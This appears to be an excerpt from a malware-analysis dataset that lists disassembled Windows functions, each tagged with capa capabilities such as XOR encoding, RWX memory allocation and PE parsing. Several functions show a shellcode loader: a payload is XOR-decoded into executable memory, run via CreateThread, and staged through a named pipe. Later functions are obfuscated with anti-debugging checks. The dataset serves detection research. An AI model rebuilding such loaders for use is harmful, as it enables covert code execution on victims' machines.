joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40862a
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov dword [rbp - 4], 0
or dword [rbp + 0x18], 0x100
mov eax, dword [rbp + 0x18]
shr eax, 8
mov eax, eax
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, word [rax]
movzx eax, ax
mov edx, dword [rbp + 0x18]
shr edx, 7
and edx, 1
neg edx
and edx, 0x7ff
xor eax, edx
sar eax, 4
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x20]
add rax, rdx
mov eax, dword [rax]
add dword [rbp - 4], eax
shl dword [rbp + 0x18], 1
cmp dword [rbp + 0x18], 0xffff
jbe 0x40864b
mov eax, dword [rbp - 4]
add rsp, 0x10
pop rbp
ret

Function at 0x4086a5
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
mov qword [rbp + 0x28], r9
mov dword [rbp - 4], 0
mov dword [rbp - 8], 0x100
or dword [rbp + 0x18], 0x100
shl dword [rbp + 0x20], 1
mov eax, dword [rbp + 0x20]
and eax, dword [rbp - 8]
mov edx, eax
mov eax, dword [rbp - 8]
add edx, eax
mov eax, dword [rbp + 0x18]
shr eax, 8
add eax, edx
mov eax, eax
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, word [rax]
movzx eax, ax
mov edx, dword [rbp + 0x18]
shr edx, 7
and edx, 1
neg edx
and edx, 0x7ff
xor eax, edx
sar eax, 4
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x28]
add rax, rdx
mov eax, dword [rax]
add dword [rbp - 4], eax
shl dword [rbp + 0x18], 1
mov eax, dword [rbp + 0x20]
xor eax, dword [rbp + 0x18]
not eax
and dword [rbp - 8], eax
cmp dword [rbp + 0x18], 0xffff
jbe 0x4086d1
mov eax, dword [rbp - 4]
add rsp, 0x10
pop rbp
ret
Function at 0x40e4e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00414624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x40e668
mov rax, qword [0x00414628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40e52c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x40e5b5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x40e510
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40e69d
mov rax, qword [0x00414628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00414628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40e680
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40e5ae
sub eax, 0x40
and eax, 0xffffffbf
jne 0x40e610
add dword [0x00414624], 1
cmp edi, 8
jae 0x40e5e3
test dil, 4
jne 0x40e654
test edi, edi
je 0x40e5d8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40e66f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x40e5d8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40e5fc
jmp 0x40e5d8
add rsi, qword [0x00414628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40e5ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x40e5d8
xor esi, esi
jmp 0x40e537
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x40e5d8
mov rax, qword [0x00414628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x40edf0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00414900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004148e0]
test rbx, rbx
je 0x40ee44
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40ee3b
test rsi, rsi
je 0x40ee3b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40ee20
lea rcx, [0x00414900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x40f080
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x40f090
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x40f0a0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x40f0e1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x40f0d8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x40f0e3
add rax, 0x28
cmp rax, r9
jne 0x40f0c4
xor eax, eax
ret

Function at 0x40f180
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00411460]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40f1ed
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40f1ed
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40f1ed
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x40f1e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40f1ef
add rax, 0x28
cmp rax, r9
jne 0x40f1d0
xor eax, eax
add rsp, 0x28
ret

Function at 0x40f2f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00411460]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x40f310
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40f308
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40f36d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x40f364
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40f374
add rax, 0x28
cmp rax, r9
jne 0x40f350
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x40f390
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00411460]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x40f3fe
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40f3fe
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x40f3fe
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40f3fe
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x40f3f5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x40f405
add rcx, 0x28
cmp rcx, rax
jne 0x40f3e0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x40f418
jmp 0x40f3fe
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x40f426
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x40f3fe
test r9d, r9d
jg 0x40f410
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x40f6a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x4014f3
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r9d, 4
movsxd rsi, edx
mov r12, rcx
mov edi, edx
mov rbp, r8
mov rdx, rsi
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
xor eax, eax
jmp 0x401537
and edx, 3
mov dl, byte [rbp + rdx]
xor dl, byte [r12 + rax]
mov byte [rbx + rax], dl
inc rax
cmp eax, edi
mov edx, eax
jl 0x401526
lea r9, [rsp + 0x3c]
mov rdx, rsi
mov rcx, rbx
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, [0x004014f0]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x401590
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov edx, 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [0x0044a9b0]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x40163c
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
mov rbp, qword [sym.imp.KERNEL32.dll_WriteFile]
jne 0x40162e
jmp 0x40163c
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call rbp
test eax, eax
je 0x401632
mov eax, dword [rsp + 0x4c]
mov edx, eax
sub esi, eax
add rdi, rdx
test esi, esi
jg 0x401606
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x401662
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea rcx, [0x0044a9b0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
mov rbp, qword [sym.imp.KERNEL32.dll_ReadFile]
cmp rsi, 0xffffffffffffffff
jne 0x4016e7
jmp 0x4016f9
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call rbp
test eax, eax
je 0x4016eb
mov eax, dword [rsp + 0x4c]
mov edx, eax
sub ebx, eax
add rdi, rdx
test ebx, ebx
jg 0x4016bf
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x401755
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
lea rcx, [0x0044a9b0]
mov r8d, 0x5c
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
lea r8, [0x00401645]
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp fcn.00401702
Function at 0x402020
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
test r8, r8
mov rbx, rcx
mov rdi, rdx
mov rsi, r8
jne 0x402050
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov ecx, dword [0x0044a360]
test ecx, ecx
jle 0x402227
mov rax, qword [0x0044a358]
xor ebp, ebp
nop word [rax + rax]
mov rdx, qword [rax + 8]
cmp rbx, rdx
jb 0x40208d
mov r8, qword [rax + 0x10]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4021a0
add ebp, 1
add rax, 0x18
cmp ebp, ecx
jne 0x402070
mov rcx, rbx
call fcn.004026a0
test rax, rax
mov r12, rax
je 0x40222e
movsxd rbp, ebp
lea r13, [rbp + rbp*2]
shl r13, 3
mov rbp, r13
add rbp, qword [0x0044a358]
mov qword [rbp + 0x10], rax
mov dword [rbp], 0
call fcn.00402790
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x50]
mov qword [rbp + 8], rax
mov rax, qword [0x0044a358]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rcx, qword [rax + r13 + 8]
call rbp
test rax, rax
je 0x40223d
mov eax, dword [rsp + 0x74]
cmp eax, 4
jne 0x402160
add dword [0x0044a360], 1
mov r8d, 0x30
lea rdx, [rsp + 0x20]
mov rcx, rbx
call rbp
test rax, rax
je 0x40225a
mov eax, dword [rsp + 0x44]
cmp eax, 4
jne 0x4021b0
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
cmp eax, 0x40
je 0x402110
mov r9, qword [0x0044a358]
mov r8d, 0x40
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
add r9, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402110
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401fb0
nop dword [rax]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x402117
cmp eax, 0x40
je 0x402139
lea r9, [rsp + 0x8c]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbp
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x44]
cmp eax, 0x40
je 0x40203d
cmp eax, 4
je 0x40203d
mov r8d, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x38]
lea r9, [rsp + 0x8c]
mov rcx, qword [rsp + 0x20]
call rbp
nop
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor ebp, ebp
jmp 0x402098
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00401fb0
mov rax, qword [0x0044a358]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + r13 + 8]
call fcn.00401fb0
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, rbx
mov edx, 0x30
call fcn.00401fb0
nop
nop

Function at 0x402580
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
je 0x402590
repz ret
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x402589
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x402c10
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0044a940]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0044a968]
test rbx, rbx
je 0x402c64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rdi
mov rbp, rax
call rsi
test eax, eax
jne 0x402c5b
test rbp, rbp
je 0x402c5b
mov rax, qword [rbx + 8]
mov rcx, rbp
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402c40
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x0044a940]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
Function at 0x1801c4754
Capabilities:
Encrypt data using rc4 prga

Disassembly:
add esi, esi
mov r8, qword [rsp + 0x28]
mov r12w, si
jo 0x1803c0586
call rax
mov r11, rax
cmc
cmp r12b, dl
test rax, rax
jmp 0x18041b43b
call fcn.1803a9ea0
mov dl, dl
invalid
jne 0x18041b46c
lea rcx, [rsp + 0x40]
movsxd rax, eax
movzx ax, al
movsx ax, r15b
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x1803f1fd4

Function at 0x1801da603
Capabilities:
Encode data using xor

Disassembly:
and al, 0x20
lodsb al, byte [rsi]
mov r15, qword [rsp + 0x20]
setge byte [rsp + 0x20]
mov word [rsp + 0x20], 0x45c1
movabs r11, 0x7cb3704a00da5fdc
bswap r15d
cmovle rsi, qword [rsp]
xor byte [rsp], sil
sub rsi, qword [rsp + 0x20]
xor r15w, 0x3f36
or sil, byte [rsp + 0x27]
lea r11, [rsi*4 + 0x40575fbd]
call fcn.18024da7a
push r14
call fcn.18041412c
and al, 0x45
jb 0x1801da5b8
invalid
Function at 0x1801dd745
Capabilities:
Check for software breakpoints

Disassembly:
mov r15, qword [rsp + 0x38]
mov qword [rsp + 0x38], 0x2e120a16
push r13
lea r12, [r10*2 + 0x50ea2941]
mov r13, rsi
setl sil
and r13w, si
add r12w, 0x4b26
and r13w, r13w
mov esi, 0x1efa59eb
neg r12b
push r8
movsxd r12, esi
mov r8, rsi
lea r12, [r10*4 + 0x7efc0f4c]
add r10d, 0x18982693
or r12b, 0x18
neg r12d
setb r12b
mov rsi, qword [rsp + 0x30]
xor r13d, 0x483f32d2
and r10, 0x2797353b
add r8d, r8d
test r8, 0x3b253143
jne 0x180247328
jae 0x18040d350
jle 0x1801dd7de
movabs al, byte [0xf286fa257fb2a5a6]
cmp ebp, dword [rax + 1]
adc dword [rdi + 0x65], ecx
lodsb al, byte [rsi]
invalid
retf
call fcn.1801cacfd
add byte [rcx - 0x7f], cl
int 0x12
invalid
push r8
mov r13w, 0x4dbe
not r13d
movabs r8, 0x5a7a0afa2c9061fd
mov rdi, r13
push r15
mov r13, qword [rsp + 0x28]
mov qword [rsp + 0x28], 0x49b72751
push r14
mov r14, rdi
not rdi
push r8
jae 0x1803bec01
mov ah, 0x8d
imul ebx, dword [rdx - 0x53], 0x4f68fd8f
jo 0x180243538
cmp edi, dword [rax + rsi*2 + 0x72]
pushfq
jb 0x1802434d6
invalid
call fcn.1803d6468
not qword [rsp + 0x28]
movabs r15, 0x233b2d36072d29c1
and byte [rsp], r8b
push r10
setbe r8b
or r15w, word [rsp + 0x33]
push rdi
neg dil
sub dword [rsp + 0x10], 0x155e142b
cmp r8w, word [rsp + 0x3d]
movsx r14w, di
pop r10
mov edi, r10d
mov r8, qword [rsp + 0x20]
lea r10, [r14 + 0x7ba6260]
setge byte [rsp + 8]
movzx edi, word [rsp + 0xc]
neg r10b
neg dil
sub byte [rsp + 8], 0x51
not word [rsp + 0x30]
or r14b, r15b
call 0x18040d3c0
mov r13, qword [rsp]
and rdx, qword [rsp + 0x18]
movzx edx, dl
or dword [rsp + 0x18], edx
xor dl, byte [rsp + 0x1f]
setno dl
call fcn.18040f995
je 0x1801e1390
mov r14, qword [rsp + 0x10]
mov qword [rsp + 0x10], 0x7fdcac27
setno r8b
xor r8, 0x4cd14d39
not r8
mov r8b, 0xe9
push rsi
movabs rsi, 0x6b0d3f1319be0d33
or sil, 0x99
add esi, 0x399e065e
mov r8b, 0xc2
push r11
test rsi, 0x3d974ff1
lea r8, [r8*2 + 0x2e366f0e]
call fcn.1804198da
bswap r14d
sub rdi, 0x39210567
cmp qword [rsp + 0x38], 0x1aec1709
cmovns r15, r10
add qword [rsp], 0xffffffffffe4989e
add r10b, dil
add r10b, byte [rsp + 0x3b]
neg rdi
sub r15b, byte [rsp + 0x3b]
setae r14b
mov byte [rsp + 0x38], r10b
neg qword [rsp + 0x10]
sub rdi, qword [rsp + 0x10]
js 0x1801cd6f3
test dword [rsp + 0x38], 0x381c5d7f
mov r15, qword [rsp + 0x20]
cmovae r10d, r14d
add dil, dil
xor r10b, 6
or r14w, word [rsp + 0x39]
setle r14b
neg dword [rsp + 0x10]
test word [rsp + 0x38], di
mov edi, dword [rsp + 0x10]
movzx r10, r14w
not r10b
bswap rdi
sets r10b
neg r14
test qword [rsp + 0x10], 0x68bd28ee
lea r14, [rdi + r10*2 + 0x7fb700ec]
movsx r10d, word [rsp + 0x3c]
cmovno r14w, word [rsp + 0x3b]
jo 0x1802434f3
or word [rsp + 0x10], r10w
setg byte [rsp + 0x38]
cmp r14, rdi
mov rdi, qword [rsp + 0x30]
not word [rsp + 0x10]
lea r14, [r14 + 0xc79075b]
movsx r10d, r14b
call fcn.1803fc2ba
Function at 0x1801fc707
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
jl 0x1801e811e
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x20], 0x7fbf4434
neg r12d
neg r12d
xor r12d, 0x5bab6c7b
sub r12w, r12w
add qword [rsp + 0x18], 0xffffffffffe6b4f8
add qword [rsp], 0x7fe17ecc
add r12d, r12d
add r12w, r12w
xor r12, r12
push rdx
mov rdx, r12
neg rdx
not rdx
push rdi
lea rdx, [r12*8 + 0x88509d9]
mov r12, rdx
movabs rdi, 0x788d0f6c71b10fe9
test dl, r12b
push r8
call fcn.1802157c8
cmp r10w, 0x475a
pop r12
jl 0x1803e0b59

Function at 0x1801fdb25
Capabilities:
Encode data using xor

Disassembly:
test r12, 0x784537a1
movabs r11, 0x4d256650e8344d4
push rsi
push rbp
push rsi
push rcx
setbe r12b
add qword [rsp + 0x48], 0x1d98a8
movzx bx, word [rsp + 0x1e]
sub r12, 0x9f3323e
ja 0x1802452a3
and r11d, 0x7cd34e5e
add r12w, 0x2374
or rbx, 0x7b0b6161
mov rdx, qword [rsp + 0x30]
not esi
bswap r12
not dword [rsp + 0x18]
call fcn.1801d7ae6

Function at 0x18024052f
Capabilities:
Encode data using xor

Disassembly:
mov sil, 0x81
movabs r11, 0xd343a4957740920
push r11
movsxd r9, dword [rsp + 0x20]
not sil
mov rdi, qword [rsp + 0x48]
setno r11b
or byte [rsp + 0x38], 0x32
movsxd rsi, dword [rsp + 0x20]
and r9b, sil
and r11w, 0x23f4
test r11, 0x7b6423d5
call fcn.1803ed098
invalid

Function at 0x180241a1e
Capabilities:
Encode data using xor

Disassembly:
add esi, 0x766c77bd
neg si
add qword [rsp], 0x4ec7
xor esi, 0x7e572b18
not sil
lea rsi, [rsi + 0x61d04460]
neg rsi
mov rsi, qword [rsp + 0x18]
mov qword [rsp + 0x18], 0xfffffffffab1674c
push rdx
movabs rdx, 0x2189106e38d061e7
push r11
movabs r11, 0xfe142c133e21c2b
sub dx, 0x28b6
push rdi
movabs rdi, 0x6e4a70255ed95ae1
neg r11
push rcx
jae fcn.180241a1e
movabs rcx, 0x2be076945aff5118
movsx r11d, r11b
lea rdi, [r11 + rdx*4 + 0x19cf2112]
push rbx
movabs rbx, 0x6bf021ec04cc44e1
bswap r11
cmp ebx, 0x76684f9e
movsx ecx, bx
call fcn.1801ea9cc
jo 0x18041bd49
push rsi
setge byte [rsp + 0x28]
push r12
test qword [rsp + 0x38], 0x30a56ca8
push r13
mov r13, qword [rsp + 0x40]
lea rsi, [r13 + rsi + 0x12a02422]
movabs rdx, 0x2a5d79fc7ddc2436
push rbp
push rdx
mov rbp, rdx
push r15
call fcn.1803ef20b
lea rsi, [r12 + r12*2 + 0x7d1c51b3]
jns 0x1802043b1
sub word [rsp + 0x18], 0x18e8
setge byte [rsp + 0x18]
xor qword [rsp + 0x18], 0x22380c99
movsxd rsi, dword [rsp + 0x18]
call fcn.1803f3089
imul eax, dword [rcx + 0x51], 0xd6b9499c
invalid
Function at 0x18024732d
Capabilities:
Check for software breakpoints

Disassembly:
call fcn.1801d1d4a
not r13
mov cx, 0x7f95
test r14w, r13w
lea r13, [rbp + r14*2 + 0x7d722284]
push r11
movabs r11, 0x2990579d5d2f7ffd
movzx ebp, bp
mov r13, qword [rsp + 0x20]
js 0x18041b7f3
sub bpl, r11b
mov bp, 0x41d0
neg r14d
setle r14b
pop r11
not r14w
add r14, 0x2dd815b7
xor rcx, 0x69db4ea0
add qword [rsp + 0x10], 0xffffffffffe0258d
or bpl, 0xe6
js 0x1803ddee0
bswap r11
movsx r11w, r11b
call fcn.1803dcde8
invalid
call fcn.1803d9897
pushfq
shr bl, cl
invalid
add bx, bx
push rbp
neg rbx
push rcx
push r13
movabs rcx, 0x2acc27ae555c7346
mov rbp, rcx
mov r13, rcx
xor cx, 0x1fa8
xor ecx, 0x58856380
neg rbx
call fcn.1803e7a62
jrcxz 0x18041b89e
push r14
shr r10b, 0x28
shrd esi, ebp, 0x64
sub r11d, r11d
cmp r10b, r14b
mov si, r10w
rol r10b, 0xfe
mov r10, rcx
adc si, 0x4ac1
xor si, 0x3204
cmc
mov esi, r8d
test r8d, r8d
jmp 0x18041b854
je 0x18041b9a7
mov qword [rsp + 0x10], rbx
sub ah, 0x3d
mov ebx, edx
cmc
shrd eax, r8d, 0x6b
mov qword [rsp + 0x18], rdi
mov rdi, qword [rsp + 0x30]
movzx rax, ax
neg ah
lea rbx, [rbx + r9]
nop
cwde
shl al, 0xf
mov eax, dword [rbx + r11 + 4]
cmp r11, 0x593d4cca
cmp cl, r11b
cmp eax, 8
jmp 0x18041b89a
jb 0x18041b993
add byte [rax], al
lea r8, [rax - 8]
stc
shr r8, 1
jmp 0x18041b8ad
je 0x18041b975
lea r9, [rbx + r11 + 8]
nop
sal ah, 0x47
ror cx, 0x97
movzx edx, word [r9]
xor cx, 0x6b42
sal cx, 0xcc
ror ax, cl
mov ecx, dword [rbx + r11]
sar rax, cl
dec ah
mov al, ah
mov eax, edx
cmc
jmp 0x18041b8e6
and dl, 0xf
shr rax, 4
add rax, rdi
jmp 0x18041b8f6
lea rcx, [rcx + rax]
cmp dl, 3
jne 0x18041b910
